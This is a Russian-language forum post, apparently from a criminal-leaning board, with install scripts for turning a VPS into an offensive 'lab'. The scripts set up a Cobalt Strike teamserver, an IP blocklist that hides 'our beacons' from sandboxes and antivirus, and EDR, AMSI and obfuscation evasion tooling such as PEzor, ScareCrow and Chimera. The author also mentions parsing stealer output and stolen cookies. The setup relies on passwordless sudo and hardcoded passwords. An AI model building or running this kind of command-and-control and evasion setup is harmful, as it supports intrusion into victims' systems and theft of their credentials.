Не ждали? XD Как превратить VPS в лабораторию пентеста с интерфейсом и безопасной работой внутри.

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,977
Реакции
34
09162cc7b3328d6837178.png


# ПРИВЕТИКИ v2

## 1.Введение

В настоящее время информационная безопасность - это краеугольный камень существования корпорации, компании, бизнеса, различных госудраственных сфер, не обязательно связанных с ИТ. Сейчас трудно представить общество без компьютеров и сетей. Они окружают нас повсюду. Говорить об этом - можно долго. Читая условия конкурса и просмотрев работы тех, кто уже принял участие, мне не очень хотелось отвлекать людей от соревнования. После продления сроков, как и говорилось ранее, мы посовещались и решили немного прокачать пользователей.

Авторы многих статей написали об эксплоитах, о компиляции биконов и методах работы в интерфейсах безопаснсти WD, о порнографии, об уязвимостях нулевого дня, т.н. 0day и пр. Я мог бы поспорить о классификации, о методах и прочих мелочах, но я решил взять и написать статью, которая поможет обычному пользователю поднять собственную "лабораторию", в которой он сможет без труда (и, что самое главное, засыпать и просыпаться в хорошем настроении) испытывать метода проникновения в сети, исследовать "работы" разных авторов в этом направлении и делать много других вещей. В общем статья - о том, как превратить VPS в лабораторию пентеста с графическим интерфейсом и безопасной работой внутри.

Сначала это был один shebang скрипт, который вмещал в себя от и до. Многие возмутились, некоторые обвинили меня в использовании паблик-материалов и софта. Да, я действительно люблю и использую Linux. Лицензия распространения - OpenSource. Остальные пакеты - так же из репозитория Debian (Kali Linux). OpenSource. Куски кода - github (OpenSource). Мои куски кода и вообще исполнение - OpenSource. Если среди тех, кто читает эту OpenSource статью есть талантливые ребята с Private-софтом (суда по комментариям тут каждый второй с приватом) - напишите мне в PM. Обсудим все, что обсуждается ;-)

## 2.Установщик

Хотелось бы сначала сказать пару слов о конфигурации оборудования для комфортной работы системы: 12 процессоров, 48 ОЗУ и SSD - именно на такой машине запущена подобная система, в которой, помимо того, что описано в статье, так же запущены: BloodHound (помимо neo4j запущены так же парсеры для автоматического "приема" данных и загрузки в БД), запущен парсер (это очень большой и сложный скрипт), который работает в паре со стиллером, фильтрует и разбивает данные в удобные форматы, так же парсер "лечит" куки и сразу же генерирует их в netscape формате (куки в формате .json плохо "заходят", связано с наличием спецсимволов и т.н. escape символов, которые ломают БД), помимо этого запущены различные модули контратаки и активной защиты сервера. Одновременно работающих машин - 5. В общем такой конфиг будет оптимальным для работы до 5 одновременно запущенных машин.

Код:
git clone https://github.com/l4ckyguy/ukn0w --depth 1 /opt/ukn0w ; cd /opt/ukn0w ; ./build.sh

После того, как мы клонировали репозиторий в папку /opt/ukn0w, у нас есть два варианта развития событий: установка сразу-же install.sh скриптом, либо компиляция репозитория в один удобный установщик (этим вариантом мы и воспользовались). После того, как скрипт выполнит работу, файл установщика окажется в корневой папке `/root/ukn0w.sh`, он исполняется как и любой другой исполняемый файл в Linux. После запуска я сделал удобный установщик, который задаст Вам несколько вопросов, проверит правильность настройки некоторых параметров и инициализирует установку системы на удаленном хосте. Вам остается только дождаться конца установки, попивая свой кофе перед экраном (?). Ну и чтобы не было лишних вопросов, я так же выкладываю видео установки от и до XD

https://youtu.be/fmC5FDtEo6k

## 3.hostInside

Итак разберем что внутри, что за зверь и с чем его едят? Начнем с подготовки VPS. Первое, что я сделал - это сменил Debian на Kali вместе с репозиториями, а так же правильно настроил hostname, /etc/hosts и /etc/hostname

Код:
home="$(pwd)" ; hname="yourhostna.me" ; hostname "$hname" ; echo "$hname" > /etc/hostname ; echo 127.0.0.1 localhost > /etc/hosts ; echo "$(wget -qO- ipinfo.io/ip)" "$hname" >> /etc/hosts
                wget -O /tmp/ka.deb https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb ; sleep 1 ; dpkg -i /tmp/ka.deb
        echo 'deb http://kali.download/kali kali-rolling main non-free contrib' > /etc/apt/sources.list ; sleep 10 ; while [[ -n "$(wget -O /tmp/dummy https://repo.x4k.dev/dummy)" ]] ; do sleep 1; done

После, я добавил SWAP раздел, причем сделал это не по документации)) т.к. практически все провайдеры VPS не очень любят операции с разделами, да и вообще работа с жесткими дисками - это отдельный разговор. После свапа, я полностью обновил систему, установил необходимые пакеты а так же добавил x86 архитектуру, для корректной работы wine в целом

Код:
#swap
dd if=/dev/zero of=/swapfile2 bs=1G count=8 ; mkswap /swapfile2 ; chmod 600 /swapfile2 ; swapon /swapfile2
echo '/swapfile2        none    swap    sw,pri=10       0       0' >> /etc/fstab ; rm /etc/motd &>/dev/null

#upgrade
apt-get update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" ; touch /root/.hushlogin

#packages
apt-get -f -y install certbot ipset curl sudo nodejs npm jq golang git unzip python certbot openjdk-11-jdk python2-dev python2 python3-pip python3-dev make \
htop dnsutils net-tools curl wget zip calc wireguard screen p7zip-full docker.io docker-compose inotify-tools kali-defaults kali-linux-core python-is-python2 \
ntp wine64 wine nano imagemagick -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" ; systemctl enable docker ; systemctl start docker
apt-get -y purge apache2

#wine32
dpkg --add-architecture i386 ; apt-get update ; apt-get -y install wine32

После обновления и установки пакетов, зачастую случается так, что репозитории отказываются обновляться, выскакивают ошибки и прочее. Основная причина - рассинхронизация времени между "железной" частью сервера и предоставленными Вам мощностями. Помимо этого, я установил python2-pip, который активно деградирует и скоро полностью исчезнет из среды Linux. В репозитории Kali уже нет модуля pip для python2. Ну и конечно же, в числе первых вещей, которые необходимо изменить при инициализации подобных серверов (которые работают с большим количеством одновременно открытых файлов) - я изменил настройки ulimit

Код:
#timedate issue
systemctl restart ntp.service
cat<<'EOF'>>/etc/ntp.conf
server 0.ubuntu.pool.ntp.org
server 1.ubuntu.pool.ntp.org
server 2.ubuntu.pool.ntp.org
server 3.ubuntu.pool.ntp.org
EOF
ntpq -p ; timedatectl set-local-rtc 1 ; hwclock --systohc ; sleep 5

#pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py

#ulimit
echo 'session required        pam_limits.so' >> /etc/pam.d/common-session
cat<<'EOF'>/etc/security/limits.conf
*               soft    nofile            655350
*               hard    nofile            655350
root            soft    nofile            655350
root            hard    nofile            655350
EOF

Далее был установлен transfer.sh - служба, которая позволит нам быстро загружать на Ваш сервер любые типа файлов, как через web-интерфейс, так и с помощью curl. Сервис будет находится у нас на 4466 порту, соответственно для загрузки любого файла на сервер и получения ссылки, нам достаточно выполнить `curl --upload-file /path/to/file yourhostna.me:4466`. Настройки grub загрузчика так же подверглись изменениям в сторону увелечения безопасности сервера. Был установлен dnscrypt-proxy сервер, который будет шифровать наш UDP трафик и "раскидывать" его по разным dnscrypt-enabled серверам. Говорить о том, что у них (серверов) разные владельцы и страны расположения думаю будет излишне =)))

Код:
#transfer.sh
wget -O /usr/local/bin/transfer.sh $(curl -sL https://api.github.com/repos/dutchcoders/transfer.sh/releases/latest | grep linux-amd64 \
| grep browser_download_url | head -1 | cut -d \" -f 4) && chmod +x /usr/local/bin/transfer.sh

cat<<'EOF'>/etc/systemd/system/transfer.service
[Unit]
Description=transferr

[Service]
ExecStart=sudo transfer.sh --listener 0.0.0.0:4466 --temp-path /tmp/  --provider local --basedir /tmp --purge-interval 1
WorkingDirectory=/tmp
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

#grub
cat<<'EOF'>/etc/default/grub
GRUB_DEFAULT=0
GRUB_TIMEOUT=0
GRUB_CMDLINE_LINUX_DEFAULT="elevator=noop ipv6.disable=1 net.ifnames=0 apparmor=1 security=apparmor mce=0 page_poison=1 pti=on mds=full,nosmt audit=1 components union=overlay vsyscall=none init_on_alloc=1 init_on_free=1 l1tf=full,force spectre_v2=on spec_store_bypass_disable=seccomp extra_latent_entropy quiet"
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz"
EOF

update-grub

#DNS-server
mkdir /tmp/dns && cd /tmp/dns
wget -nv --show-progress "$(curl -sL https://api.github.com/repos/DNSCrypt/dnscrypt-proxy/releases/latest | grep dnscrypt-proxy-linux_x86_64- | grep browser_download_url \
| head -1 | cut -d \" -f 4)" && tar xf dnscrypt-proxy-linux_x86_64-* -C /tmp/ ; mv /tmp/linux-x86_64/* /opt/dnscrypt-proxy/ ; ln -s /opt/dnscrypt-proxy/dnscrypt-proxy /bin/ \
; systemctl disable systemd-resolved ; dnscrypt-proxy -service install ; dnscrypt-proxy -service start
cd ~ ; rm /etc/resolv.conf ; echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
cat<<'EOF'>/etc/rc.local
#!/bin/bash
dnscrypt-proxy -service uninstall ; dnscrypt-proxy -service stop
chattr -i /etc/resolv.conf ; echo nameserver 1.0.0.1 > /etc/resolv.conf
dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; sleep 3
echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
sleep 4 ; cd /localhost ; ./up.sh
EOF
chmod +x /etc/rc.local


Далее я сгенерировал letsencrypt ssl сертификат, который необходим для шифрования и "подписи" трафика, как нашим биконам, так и другим инструментам. Написал правило для запуска тимсервера как службы systemd и запустил службу. Это дало мне запуск сервера при загрузке VPS и перезагрузку в случае ошибок.

Код:
#cobaltstrike section
cd /opt/cobaltstrike ; rm cobaltstrike.store ; gencert
cat<<'EOF'>/usr/local/bin/ts
#!/bin/bash
cd /opt/cobaltstrike ;  hname="$(hostname)"
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=41447 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=XHOSTPASSWORD -server -XX:+AggressiveHeap \
-XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer "$(dig $hname +short A)" XHOSTPASSWORD url.profile "$(date --date='1 year' -u +'%Y-%m-%d')"
EOF
chmod +x /usr/local/bin/ts

cat<<'EOF'>/etc/systemd/system/teamserver.service
[Unit]
Description=teamserver

[Service]
ExecStart=sudo /usr/local/bin/ts
WorkingDirectory=/opt/cobaltstrike
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF
systemctl enable teamserver ; systemctl start teamserver

Так как наша основная система и графическая оболочка работают в среде докера и вместо сети хоста используют защищенный канал wireguard, нам необходимо как-то "выташить" нужный порт наружу. Для этого я использовал frp (fast reverse proxy) как на хосте, так и внутри докера. На стороне хоста я так же создал и запустил frp в качестве службы systemd. Так же поправил файл suders (не безопасно, конечно, но очень удобно, да и к тому же проникновение на сервер линукс всегда подразумевает собой повышение локальных привелегий, поэтому я решил немного "расслабиться" и использовал такой чит)

Код:
#frp - expose noVNC port
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frps /usr/bin/

cat<<'EOF'>/usr/local/bin/frps.ini
[common]
bind_port = 7000
EOF

cat<<'EOF'>/etc/systemd/system/frps.service
[Unit]
Description=Frp Server Service
After=network.target
[Service]
Type=simple
User=root
Restart=on-failure
RestartSec=5s
ExecStart=/usr/bin/frps -c /usr/local/bin/frps.ini
[Install]
WantedBy=multi-user.target
EOF
systemctl enable frps ; systemctl start frps

#sudoers
cat<<'EOF'> /etc/sudoers
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
root    ALL=(ALL) NOPASSWD: ALL
gvm     ALL=(ALL) NOPASSWD: ALL
%sudo   ALL=(ALL) NOPASSWD: ALL
@includedir /etc/sudoers.d
EOF

GVM из старого скрипта я решил заменить на acunetix. Контейнер полностью настроен и готов к работе. PatrowlHears будет установлен в случае Вашего согласия при первоначальной инициализации скрипта. Так же в этой "серверной" части, будет построен образ самой внутренней системы и установлен специальный скрипт, который будет блокировать доступ к нашему серверу всевозможных песочниц, антивирусов и ботов, которые призванны уменьшить эффективность и жизнерадостность наших биконов)

Код:
#acun
docker pull 0x4k/acunetix

#PATROWL
function installpatrowl() {
sleep 20 ; cd /opt ; git clone https://github.com/Patrowl/PatrowlHears  ; cd /opt/PatrowlHears ; docker-compose up -d
docker-compose exec patrowlhears bash -c 'cd backend_app && ./load_init_data.sh'
docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'
(crontab -l | grep . ; echo -e "* * */1 * *  cd /opt/PatrowlHears && docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'") | crontab -
}
#installpatrowl

#super_os
/etc/init.d/docker restart ; sleep 2 ; cd /opt ; docker build -t kali_suos .

printf "\n\n\033[1;33mЧищу, мою, убираю. Ставлю антипесочницу и перезагружась..\n\033[0m"
sleep 4 ; apt-get -y autoremove ; apt autoclean

#badboyz
function bbinstall() {
cat<<'EOF'>/usr/local/bin/goodboyz
#!/bin/bash
ipset -q flush goodboyz ; ipset -q create goodboyz nethash
for ip in $(curl -s https://gist.githubusercontent.com/curi0usJack/971385e8334e189d93a6cb4671238b10/raw | \
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\/(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"); \
do ipset add goodboyz $ip ; done
iptables -A INPUT -m set --match-set goodboyz src -j DROP
iptables -A FORWARD -m set --match-set goodboyz src -j DROP
EOF
chmod +x /usr/local/bin/goodboyz ; goodboyz
}
bbinstall

sudo -u root reboot

... На этом подготовка хоста окончена, далее хочу подробнее разобрать что же творится внутри самой OS...

7359591ef25de81df4165.png


## 3.osInside

Вот мы и подобрались к самому интересному - к системе-контейнеру.
Как я и говорил ранее, система, как и другие контейнеры-инструменты будет работать через зашифрованный VPN нового поколения (впрочем "новизна" конечно сомнительна, лично я начал использовать его года 3 назад, ну а в ядро Linux его "прописали" в этом году, в отличии от ovpn, которому такие почести явно не светят, ввиду явной "халтурности" протокола - архивация с ключом шифрования. не буду тут рассказывать о "палевности" стека, отвратительной скорости работы и прочих радостях, которым прославился протокол openvpn, мы не об этом), точнее через сеть контейнера с запущенным wireguard. Я так же не буду тут копировать и вставлять официальный текст, картинки и прочую х#йню. Скажу лишь нескользко слов об этом чудесном протоколе. Помимо шифрования данных самыми современными алгоритмами, wg славится еще потрясающей скоростью работы, а так же "умением" передавать "через-себя" абсолютно любой вид трафика, в том числе тот, что нужен нам (и немного p0f ;-)). Так же он очень прост (и быстр) в подключении, его конфигурационные файлы понятны даже ребенку и состоят из нескольких значений. Вот оно - оружие 21 века (опять ремарка: лично для меня нет ничего красивее оружия - именно в нем нет ни одной лишней детали, а вся красота заключается в продуманности и функциональности каждой линии, выступа или кнопки).
Из-за того, что трафик будет шифроваться внутри сети, созданной специальным контейнером, "выход" к хосту, будет осуществлен, как я и говорил ранее, с помощью frp. Так как мы не давали докер-контейнеру привелегий управлять systemd, я написал специальный скрипт-загрузчик, который выглядит так:

Код:
#!/bin/bash
x2="p@ssw0rd" ; x4="p@ssw0rd" ; echo root:$x2 | chpasswd ; mkdir -p /root/.vnc ; echo $x4 | vncpasswd -f > /root/.vnc/passwd ; cusw
chmod 600 /root/.vnc/passwd ; rm -r /tmp/* ; rm -r /root/Downloads/* /root/.zsh_history /root/.zcomp* /root/.ssh/known_hosts /root/.vnc/*.pid /root/.vnc/*.log /tmp/.X11-unix/X1 /tmp/.X1-lock
unset x1 x2 x4 ; sleep 1 ; sudo chown root:messagebus /usr/lib/dbus-1.0/dbus-daemon-launch-helper ; sudo chmod 4754 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared ; sleep 3
while [ -z "$(netstat -antp | grep tiger)" ] ; do vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared ; sleep 1 ; done
cd /usr/share/noVNC/utils ; ./novnc_proxy --listen 127.0.0.1:6081 --vnc 127.0.0.1:5901 &
cat<<EOF>/usr/share/applications/patrowl.desktop
[Desktop Entry]
Name=spiderfoot
Encoding=UTF-8
Exec=firefox http://$HOSTNAME:8383
Icon=balena-etcher-electron
StartupNotify=false
Terminal=false
Type=Application
EOF
frpc -c /usr/local/bin/frpc.ini &
killall tigervncconfig ; chmod 1777 /tmp
spiderfoot -l 127.0.0.1:53137

Ну а frp сервис так:

Код:
#frp
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frpc /usr/bin/

cat<<EOF>/usr/local/bin/frpc.ini
[common]
server_addr = XHOSTNAME
server_port = 7000
[vnc]
type = tcp
local_ip = 127.0.0.1
local_port = 6081
remote_port = 6080
use_compression = true
EOF


Особенно сложных к пониманию моментов тут нет. OK. Контейнер будет построен с помощью Dockerfile и запакованного архива-установщика, который начнет свою работу автоматически после инициализации VPS. Первая часть, как всегда - установка необходимых пакетов и доустановку нужным нам с просторов Сети.

Код:
export DEBIAN_FRONTEND=noninteractive
apt-get -y update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
apt-get -y install kali-desktop-xfce sudo curl perl python-is-python2 python3 nodejs python3-pip python3-dev python2 bash wget git fontconfig mingw-w64 zsh fzf tigervnc-standalone-server dnsutils net-tools wget nano openjdk-11-jdk proxychains crackmapexec xfce4-terminal wine wine64 spiderfoot nmap locales imagemagick xclip -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
apt-get -y purge resolvconf ; update-alternatives --set x-terminal-emulator /usr/bin/xfce4-terminal.wrapper

cat<<'EOF'>/etc/sudoers
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/local/bin:/root/.local/bin:/root/.local/bin:$NPM_PACKAGES/bin:/bin:/usr/llvm-mingw"
root    ALL=(ALL) NOPASSWD: ALL
x       ALL=(ALL) NOPASSWD: ALL
%sudo   ALL=(ALL) NOPASSWD: ALL
EOF

#install pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py

#golang latest
wget -O /tmp/go.tar.gz https://dl.google.com/go/go1.16.5.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf /tmp/go.tar.gz ; export GOROOT=/usr/local/go ; export PATH=$PATH:/usr/local/go/bin

#PEzor true install
git clone https://github.com/phra/PEzor /opt/PEzor ; cd /opt/PEzor ; git pull ; sed -i 's+golang++g' install.sh ;  printf "Y" | bash install.sh
pezc="/opt/PEzor/PEzor.sh" ; sed -i 's+SGN=false+SGN=true+g' $pezc
sed -i 's+BLOB=false+BLOB=true+g' $pezc ; sed -i 's+FORCED_BITS=false+FORCED_BITS=true+g' $pezc ; sed -i 's+SYSCALLS=false+SYSCALLS=true+g' $pezc
sed -i 's+UNHOOK=false+UNHOOK=true+g' $pezc ; sed -i 's+ANTIDEBUG=false+ANTIDEBUG=true+g' $pezc ; sed -i 's+SDK=4.0+SDK=4.8+g' $pezc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.bashrc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.zshrc

Тут следует отметить, что golang (google language) намеренно взят с официального сайта, т.к. в репозитории Kali почему-то нет свежих версий. Так же был установлен PEzor и изменены начальные установки. Установлен он по двум причинам: первая и основная - в скрипте-установщике PEzor есть необходимые утилиты, такие как sgn, donut и wclang. вторая - конечно сам PEzor. Лично я не особенно люблю этот фреймворк, но кто-то всегда найдет тут что подсмотреть и потренироваться, хотя-бы в применении ReflectiveLoader. Тема - офигенно-крутая, инфы по ней море. Если ты более-менее собрался осваивать азы пентеста - изучи в первую очередь!

Код:
#zsh-terminal-modiifications
cd ; git clone https://github.com/jotyGill/quickz-sh.git ; cd quickz-sh
./quickz.sh ; rm -r ../quickz-sh ; fc-cache -fv
cd /root ; curl -L https://cpanmin.us/ -o /usr/bin/cpanm ; chmod +x /usr/bin/cpanm ; alias cpan=cpanm
yes | cpan Term::ExtendedColor
yes | cpan File::LsColor
git clone git://github.com/trapd00r/ls--.git ; cd ls-- ; perl Makefile.PL ; make && make install ; cp ls++.conf $HOME/.ls++.conf
chsh --shell=/bin/zsh root
wget -O /tmp/theme.tar https://gitlab.com/x4k/pub/-/raw/master/theme.tar ; tar xf /tmp/theme.tar -C /usr/share/themes/

#wallz
wget -O /tmp/wall.zip https://repo.x4k.dev/xss/wallz.zip ; unzip -P 'xss.is' /tmp/wallz.zip -d /opt/

#bat
sleep 2 ; wget -O /tmp/bat.deb $(curl -sL https://api.github.com/repos/sharkdp/bat/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url | head -1 \
| cut -d \" -f 4) && dpkg -i /tmp/bat.deb ; apt-get -y -f install ; echo alias cat="bat --paging never -p --theme 'Monokai Extended Origin'" >> /root/.zshrc

#nanorc
cd ~; wget -nv --show-progress https://raw.githubusercontent.com/ritiek/nanorc/master/install.sh -O- | bash

#ls_colors
mkdir /tmp/LS_COLORS && curl -sL https://api.github.com/repos/trapd00r/LS_COLORS/tarball/master | tar xzf - --directory=/tmp/LS_COLORS --strip=1 &> /dev/null
( cd /tmp/LS_COLORS && sh install.sh ) &> /dev/null

#install icons
wget -qO- https://git.io/papirus-icon-theme-install | sh

Так же для удобства работы, мною были установлены zsh-шелл и различные дополнения, а так же мои обоины, чтобы не было скучно и однообразно, они будут меняться каждый ребут контейнера)) стандартные ls, nano, cat были заменены их современными версиями-имплементациями, мне лишь оставалось их настроить и установить. Что я и с удовольствием сделал) Так же были установлены иконки Papirus (на мой взгляд более яркие, чем те, что идут в комплекте с Kali), моя собственная тема в черных тонах. Если вдруг кому-то что-то не понравится (а таких, как показывает практика, д@хуя, из этого д@хуя процентов 95 - те, кто вообще не в курсе о чем разговор). Так же внутри графического интерфейса, при первом запуске firefox произойдет замена ESR версии на обычную, при этом установится (с небольшими моими модификациями) https://github.com/arkenfox/user.js/raw/master/user.js. Эти настройки лисы помогут Вам серфить анонимно и безопасно. Тема, опять-таки весьма объемна и материала по ней так же вагон и маленькая тележка, поэтому каждый сможет найти информацию по теме легко и непринужденно).

Код:
#cobaltstrike
echo 'cd /opt/cobaltstrike && ./start.sh' > /usr/local/bin/cobaltstrike ; chmod +x /usr/local/bin/cobaltstrike
cat<<'EOF'>/usr/share/applications/cobaltstrike.desktop
[Desktop Entry]
Name=Cobalt-Strike
GenericName=Cobalt-Strike
Exec=sudo cobaltstrike
Icon=kali-cadaver
Terminal=false
Type=Application
EOF

#ghidra - NSA reverse
wget -O /tmp/gh.zip $(curl -sL https://api.github.com/repos/******************************alSecurityAgency/ghidra/releases/latest | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4)
unzip /tmp/gh.zip -d /tmp/ ; mv /tmp/ghidra* /usr/share/ghidra
cat<<'EOF'>/usr/share/applications/ghidra.desktop
[Desktop Entry]
Name=ghidra
Exec=sudo /usr/share/ghidra/ghidraRun
Icon=ghidra
StartupNotify=false
Terminal=false
Type=Application
EOF

#rustscan
wget -O /opt/rustscan.deb $(curl -sL https://api.github.com/repos/RustScan/RustScan/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url \
| head -1 | cut -d \" -f 4) && dpkg -i /opt/rustscan.deb ; apt-get -y -f install

#oneforall-install
cd /opt
git clone https://github.com/shmilylty/OneForAll.git
mv OneForAll oneforall
cd oneforall
python3 -m pip install -r requirements.txt
cat<<'EOF'>/usr/bin/oneforall
#!/bin/bash
cd /opt/customdir/oneforall
python3 oneforall.py --target $1 run
EOF
chmod +x /usr/bin/oneforall

#pwncat
python3 -m pip install pwncat pe-tree

#chimera
git clone https://github.com/tokyoneon/Chimera /opt/chimera --depth 1

#trans - Google-translate-cli
wget -O /usr/bin/trans git.io/trans && chmod +x /usr/bin/trans

#one-lin3r
pip3 install one-lin3r pefile

#garble
GO111MODULE=on go get mvdan.cc/garble

#scarecrow
git clone https://github.com/optiv/ScareCrow /opt/ScareCrow ; cd /opt/ScareCrow
apt-get -y install osslsigncode ; go get github.com/fatih/color ; go get github.com/yeka/zip ; go get github.com/josephspurrier/goversioninfo
go build . ; mv ScareCrow /usr/local/bin ; cd /opt ; rm -r ScareCrow

#Creds - Windows-Helpers
git clone --raecurse-submodules https://github.com/vxunderground/WinAPI-Tricks /opt/WinAPI-Tricks
git clone --recurse-submodules https://github.com/S3cur3Th1sSh1t/Creds.git /opt/S3cur3Th1sSh1t
git clone --recurse-submodules https://github.com/mgeeky/Penetration-Testing-Tools /opt/mcgeeky
apt-get -y install nishang ; ln -s /usr/share/nishang /opt/nishang

#pe-tree
pip3 install pe-tree libtmux docutils

#ARSENAL CHEATSHIT
git clone https://github.com/Orange-Cyberdefense/arsenal.git /usr/share/myarsenal
ln -s /usr/share/myarsenal/run /usr/local/bin/arsenal ; echo 'alias a="arsenal"' >> /root/.zshrc ; echo "bindkey -s '^g' 'a\n'" >> /root/.zshrc

#install wine32
dpkg --add-architecture i386 && apt-get update && apt-get -y install wine32 wine64

#TDM-GCC compiller
wget -O /tmp/tdm.7z https://repo.x4k.dev/tdm.7z ; rm -r /root/.wine &> /dev/null ; mkdir /root/.wine ; cd /root/.wine ; 7z x /tmp/tdm.7z

Как видно из скрипта, помимо самого кобальт-страйка, я так же установил в систему следующие opensource-недоделки:

* GHIDRA - утилита из утечки ********************ональной Службы Безопасности Америки, которая стала популярна (еще бы), да и еще появился свой репозиторий github. Альтернатив - нет (ну я не беру любительские полу-клоны, реальной действительно нет). Позволяет если и не декомпилировать бинарник, так точно узнать что и как работает. Впрочем, мои нынешние биконы ей пока не по зубам ;-)
* rustscan - позволит Вам осканировать сеть либо ip-адрес в тысячу (не шутка) раз быстрее nmap. Имею ввиду отстук по портам. Применение?)) Ну например 'rustscan -u 192.168.0.0/16 -p 3309,445' =)
* oneforall - лучший, по моему мнению и самый быстрый фузер сабдоменов. позволяет обнаруживать сети с точностью еврея-ломбардиста. хотя, почему-то (как и весь современный, более-менее сереьзный софт) - родом из Поднебесной
* pwncat - netcat на стимулятор, первые три буквы говорят сами за себя
* chimera - обфускация powershell скриптов, имеет множество функций. лично я использую для преобразования в числовой формат. например `chimera -l 3 -d -f /path/to/script.ps1 -o /tmp/obfu.ps1`. Подставьте вместо -d -a - получите полный функционал
* trans - очень удобный переводчик прямо в терминале, так же легко-применисый на практике, например `trans "Привет, Медвед" -t en`
* one-lin3r - так же утилита из разряда Twix - внутри куча способов запустить/дропнуть/шеллнуть супостата. Весьма полезная штука
* garble - компилятор (обфускатор) go. смотрите полную документацию по применению. На личном опыте - КПД на уровне 50%
* scarecrow - потрясающая утилита, написанная на golang. "работает" с компонентов активной защиты EDR, так же внутри исходников каждый заинтересованный сможет найти много интересных моментов, таких как ... не буду портить "десерт", заинтересованные - вперед =)
* так же в /opt были клонированы репозитории таких маэстро, как mcgeeky и S3cur3Th1sSh1t, плюс WINAPI-tricks, подсмотрев в которые, каждый найдет немало полезного. очень много "готовых" к употреблению скриптов и программ. если кто вдруг решит пойти еще дальше, советую изучить так же corkami (не клонировал, уровень немного Выше ожидаемого от юзеров этого скрипта) - маг современности Анджи играюче меняет PE с PNG, PDF, ZIP. Я на досуге так же стараюсь обуздать этот волшебный мир... Успехи - так себе))) ну и nishang - уже классика Kali, но от того не менее эффективные скрипты ps. Кстати, неплохо сочитаются с chimera ;-)
* pe-tree - быстрый objdump в графическом исполнении.
* arsenal - нажав CTRL+G либо просто выполнив a - получите очень базу-подсказку практически по всем моментам как пентеста, так и пользования Linux в целом
* TDM-GCC - mingw для wine со встроенной обфускацией типа ... если интересно, узнаете какого типа, остальным же ничего не скажет) на практике - поможет перекомпилировать биконы с минимальными детектом
Так же в файле /root/.zshrc , который является конфигурационным файлом активного шелла (zsh) я добавил несколько полезных функций, которые так же можно выполнть в терминале системы:
* bmcs - выполните в папке с проектом csharp-программы и файлом проекта с расширением .sln и с вероятностью 90% получите скомпилированный и готовый к употреблению (AMSIfail внутри) бинарник в папке /root/xbuilds
* speedtest - название вполне говорящее. комментарии излишне
* getlanding сайт - сп@здит страничку и преобразует внутренние ссылки во внешние. Такое ощущение, будто только что купили на форуме услугу - ЗАКАЖИ ЛЕНДИНГ У НАС И ПОЛУЧИ ЗНАЧОК ЛОХ НА БОЙСКАУТСКИЙ ФРАК =)
* rnd число - выдает случайные цифры-буквы, удобно для генерации паролей и других кодовых фраз
* dn ссылка - очень быстрая загрузка файлов с помощью aria2
* cb файл - скопирует содержимое файла в буфер обмена. жизненно и полезно
* fb64 файл - преобразует содержимое файла в формат base64, выдаст в буфер обмена в таком виде `echo yourbase64 | base64 -d -w0 > /usr/local/bin/yourapp ; chmod +x /usr/local/bin/yourapp'
В /usr/local/bin так же можно найти:
* cusw - скрипт замены обоев рабочего стола
* net-obfuscate - враппер, применив который получите обфускацию .NET ехешника

## 4.csInside

